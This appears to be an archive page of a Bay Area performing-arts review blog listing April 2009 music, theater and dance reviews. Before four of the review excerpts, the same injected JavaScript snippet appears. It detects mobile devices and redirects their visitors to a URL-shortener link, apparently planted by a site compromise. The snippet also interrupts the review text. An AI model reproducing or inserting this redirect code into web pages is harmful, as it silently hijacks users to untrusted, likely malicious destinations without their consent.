April 2009 – Repeat Performances

April 26, 2009

Cal Performances brings Andreas Scholl to Zellerbach

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Understated yet charming Countertenor Andreas Scholl, lauded on world stages for purity of sound and expressive core, came to UC Berkeley’s Zellerbach...

Categories: music

April 25, 2009

Big Art Group at Yerba Buena

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Sending Out a Stylish SOS The stage was filled with screens; downstage center, three cameras faced upstage into the screens. Wires, cables and the stark...

Categories: theater

April 22, 2009

Britten’s War Requiem at UC Berkeley

Categories: music

April 17, 2009

Beethoven at the Oakland East Bay Symphony

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Categories: music

April 7, 2009

San Francisco Performances presents Compagnie Marie Chouinard

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); The mysterious, the sexual “At the root of each new work there is always what I call the ‘mystery’—an unknown wavelength that calls out to me ......

Categories: dance

April 4, 2009

Haydn—lamb and lion

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Two very different programs showed Josef Haydn in different lights last week. And then turned around and delivered stunning ...

Categories: music